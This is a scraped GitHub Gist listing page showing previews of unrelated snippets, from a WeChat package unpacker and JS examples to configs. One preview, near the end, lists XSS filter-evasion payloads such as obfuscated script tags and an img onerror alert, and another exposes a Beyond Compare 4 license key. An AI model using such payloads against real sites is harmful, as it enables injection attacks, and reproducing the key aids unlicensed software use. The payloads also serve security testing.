Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Fucheng Yang yangfch3

🎯
Focusing
  • NetEase
  • Hangzhou in China
View GitHub Profile
View unwxapkg.py
#!/usr/bin/env python2
# lrdcq
# usage python2 unwxapkg.py filename
import sys, os
import struct
class WxapkgFile(object):
nameLen = 0
@Saul-Mirone
Saul-Mirone / mini-express.js
Last active Nov 15, 2019
Just An Express Style Framework
View mini-express.js
const http = require('http')
const url = require('url')
const path = require('path')
const fs = require('fs')
const mime = {
"html": "text/html",
"css": "text/css",
"js": "text/javascript",
"json": "application/json",
"gif": "image/gif",
@yangfch3
yangfch3 / js-oop-example.js
Last active Dec 17, 2016
一段讲解使用 JS 实现 OOP 的代码实例
View js-oop-example.js
function inheritPrototype(subType, superType) {
if (Object.create) {
// 利用 Object.create 的特性实现 __proto__ 指针的正确指向,完美
subType.prototype = Object.create(superType.prototype);
subType.prototype.constructor = subType;
} else {
function F() {}
F.prototype = superType.prototype;
var prototype = new F();
prototype.constructor = subType;
@soundyogi
soundyogi / 2018_chrome_snippet_gui_import_export.js
Last active Sep 28, 2021
A snippet to export and import your chrome snippets
View 2018_chrome_snippet_gui_import_export.js
void function() { "use strict"
/* !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! WIP DO NOT USE WIP !!!!!!!!!!!!!!!!!!!!!
DO NOT USE THIS YET.
USE THE 2016 VERSION BELOW PLEASE.
WWWWWWWW WWWWWWWWIIIIIIIIIIPPPPPPPPPPPPPPPPP
W::::::W W::::::WI::::::::IP::::::::::::::::P
W::::::W W::::::WI::::::::IP::::::PPPPPP:::::P
@huqi
huqi / trial.key
Created Apr 11, 2015
Beyond Compare 4 license for Mac
View trial.key
Beyond Compare 4
Licensed to: ASIO Allsoftinone
Quantity: 1 user
Serial number: 1822-9597
License type: Pro Edition for Windows
--- BEGIN LICENSE KEY ---
H1bJTd2SauPv5Garuaq0Ig43uqq5NJOEw94wxdZTpU-pFB9GmyPk677gJ
vC1Ro6sbAvKR4pVwtxdCfuoZDb6hJ5bVQKqlfihJfSYZt-xVrVU27+0Ja
hFbqTmYskatMTgPyjvv99CF2Te8ec+Ys2SPxyZAF0YwOCNOWmsyqN5y9t
@nkbt
nkbt / .eslintrc.js
Last active Oct 12, 2021
Strict ESLint config for React, ES6 (based on Airbnb Code style)
View .eslintrc.js
{
"env": {
"browser": true,
"node": true,
"es6": true
},
"plugins": ["react"],
"ecmaFeatures": {
@julying
julying / gist:8182446
Last active Sep 22, 2016
Javascript 过滤 html 标签、属性 /* * Creator : 王子墨 * Site : http://julying.com * QQ : 316970111 * Address : China Shenzhen * */
View gist:8182446
/*
* Creator : 王子墨
* Site : http://julying.com
* QQ : 316970111
* Address : China Shenzhen
*
*/
//此方法依赖于 jQuery
// 此方法用来过滤用户输入的 html 代码,去除其中的危险 标签、标签属性等
@thoop
thoop / nginx.conf
Last active Oct 23, 2021
Official prerender.io nginx.conf for nginx
View nginx.conf
# Change YOUR_TOKEN to your prerender token
# Change example.com (server_name) to your website url
# Change /path/to/your/root to the correct value
server {
listen 80;
server_name example.com;
root /path/to/your/root;
index index.html;
@yisibl
yisibl / HTML-tags.md
Last active Aug 27, 2021
常用的 HTML 头部标签
View HTML-tags.md

常用的 HTML 头部标签

详细介绍参见原文:https://github.com/yisibl/blog/issues/1

<!DOCTYPE html> <!-- 使用 HTML5 doctype,不区分大小写 -->
<html lang="zh-cmn-Hans"> <!-- 更加标准的 lang 属性写法 http://zhi.hu/XyIa -->
<head>
    <meta charset='utf-8'> <!-- 声明文档使用的字符编码 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> <!-- 优先使用 IE 最新版本和 Chrome -->
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
View 666_lines_of_XSS_vectors.html
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>